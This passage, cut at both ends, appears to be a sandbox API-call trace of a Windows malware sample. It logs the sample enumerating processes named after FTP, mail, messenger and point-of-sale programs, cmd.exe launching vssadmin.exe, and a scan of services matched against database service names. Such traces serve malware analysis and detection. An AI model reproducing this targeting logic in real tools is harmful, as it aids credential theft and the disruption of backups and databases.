lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0091.568] lstrlenW (lpString="coreftp.exe") returned 11 [0091.568] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0091.569] lstrlenW (lpString="far.exe") returned 7 [0091.569] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0091.570] lstrlenW (lpString="filezilla.exe") returned 13 [0091.570] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0091.572] lstrlenW (lpString="flashfxp.exe") returned 12 [0091.572] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0091.573] lstrlenW (lpString="fling.exe") returned 9 [0091.573] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0091.574] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0091.574] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0091.575] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0091.575] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0091.576] lstrlenW (lpString="icq.exe") returned 7 [0091.576] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0091.577] lstrlenW (lpString="leechftp.exe") returned 12 [0091.577] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0091.579] lstrlenW (lpString="ncftp.exe") returned 9 [0091.579] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0091.581] lstrlenW (lpString="notepad.exe") returned 11 [0091.581] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0091.582] lstrlenW (lpString="operamail.exe") returned 13 [0091.583] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0091.584] lstrlenW (lpString="pidgin.exe") returned 10 [0091.584] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0091.586] lstrlenW (lpString="scriptftp.exe") returned 13 [0091.586] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0091.587] lstrlenW (lpString="skype.exe") returned 9 [0091.587] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0091.588] lstrlenW (lpString="smartftp.exe") returned 12 [0091.588] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0091.589] lstrlenW (lpString="thunderbird.exe") returned 15 [0091.590] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0091.591] lstrlenW (lpString="totalcmd.exe") returned 12 [0091.591] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0091.592] lstrlenW (lpString="trillian.exe") returned 12 [0091.592] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0091.593] lstrlenW (lpString="webdrive.exe") returned 12 [0091.594] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0091.595] lstrlenW (lpString="whatsapp.exe") returned 12 [0091.595] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0092.097] lstrlenW (lpString="winscp.exe") returned 10 [0092.098] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0092.100] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0092.100] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0092.101] lstrlenW (lpString="active-charge.exe") returned 17 [0092.101] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0092.119] lstrlenW (lpString="accupos.exe") returned 11 [0092.122] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0092.124] lstrlenW (lpString="afr38.exe") returned 9 [0092.124] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0092.126] lstrlenW (lpString="aldelo.exe") returned 10 [0092.126] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0092.127] lstrlenW (lpString="ccv_server.exe") returned 14 [0092.127] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0092.128] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0092.128] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0092.130] lstrlenW (lpString="creditservice.exe") returned 17 [0092.130] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0092.131] lstrlenW (lpString="edcsvr.exe") returned 10 [0092.131] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0092.132] lstrlenW (lpString="fpos.exe") returned 8 [0092.132] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0092.133] lstrlenW (lpString="isspos.exe") returned 10 [0092.133] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0092.134] lstrlenW (lpString="mxslipstream.exe") returned 16 [0092.134] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0092.135] lstrlenW (lpString="omnipos.exe") returned 11 [0092.135] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0092.137] lstrlenW (lpString="spcwin.exe") returned 10 [0092.137] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0092.138] lstrlenW (lpString="spgagentservice.exe") returned 19 [0092.138] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0092.139] lstrlenW (lpString="utg2.exe") returned 8 [0092.139] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="atlascomedy.exe")) returned 1 [0092.140] lstrlenW (lpString="atlascomedy.exe") returned 15 [0092.141] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="starting_terminal_failing.exe")) returned 1 [0092.142] lstrlenW (lpString="starting_terminal_failing.exe") returned 29 [0092.142] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ntsc.exe")) returned 1 [0092.142] lstrlenW (lpString="ntsc.exe") returned 8 [0092.143] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="criteria.exe")) returned 1 [0092.143] lstrlenW (lpString="criteria.exe") returned 12 [0092.143] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0092.144] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0092.144] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0092.145] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0092.145] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0092.146] lstrlenW (lpString="taskhost.exe") returned 12 [0092.146] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0092.147] lstrlenW (lpString="winhost.exe") returned 11 [0092.147] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0092.148] lstrlenW (lpString="cmd.exe") returned 7 [0092.148] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0092.406] lstrlenW (lpString="conhost.exe") returned 11 [0092.406] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0092.407] lstrlenW (lpString="vssadmin.exe") returned 12 [0092.407] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0092.408] lstrlenW (lpString="VSSVC.exe") returned 9 [0092.408] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0092.412] lstrlenW (lpString="svchost.exe") returned 11 [0092.412] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0092.413] CloseHandle (hObject=0x1fc) returned 1 [0092.413] Sleep (dwMilliseconds=0x1f4) [0092.947] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x609cf0 [0092.947] EnumServicesStatusExW (in: hSCManager=0x609cf0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0) returned 0 [0092.947] GetLastError () returned 0xea [0092.947] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x12c6) returned 0x39777a0 [0092.948] EnumServicesStatusExW (in: hSCManager=0x609cf0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x39777a0, cbBufSize=0x12c6, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x39777a0, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0) returned 1 [0092.949] CloseServiceHandle (hSCObject=0x609cf0) returned 1 [0092.949] lstrlenW (lpString="Appinfo") returned 7 [0092.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0092.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0092.949] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0092.949] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0092.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0092.949] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0092.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0092.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0092.949] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0092.949] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0092.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0092.950] lstrlenW (lpString="AudioSrv") returned 8 [0092.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0092.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0092.950] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0092.950] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0092.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0092.950] lstrlenW (lpString="BFE") returned 3 [0092.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0092.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0092.950] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0092.950] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0092.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0092.950] lstrlenW (lpString="CryptSvc") returned 8 [0092.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0092.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0092.950] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0092.950] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0092.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0092.950] lstrlenW (lpString="CscService") returned 10 [0092.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0092.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0092.951] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0092.951] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0092.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0092.951] lstrlenW (lpString="DcomLaunch") returned 10 [0092.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0092.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0092.951] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0092.951] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0092.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0092.951] lstrlenW (lpString="Dhcp") returned 4 [0092.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0092.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0092.951] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0092.951] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0092.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0092.951] lstrlenW (lpString="Dnscache") returned 8 [0092.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0092.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0092.951] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0092.951] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0092.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0092.951] lstrlenW (lpString="DPS") returned 3 [0092.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0092.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0092.951] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0092.951] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0092.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0092.952] lstrlenW (lpString="eventlog") returned 8 [0092.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0092.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0092.952] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0092.952] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0092.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0092.952] lstrlenW (lpString="EventSystem") returned 11 [0092.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0092.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0092.952] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0092.952] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0092.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0092.952] lstrlenW (lpString="gpsvc") returned 5 [0092.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0092.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0092.952] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0092.952] lstrcmpiW (lpString1="mssqlserver", 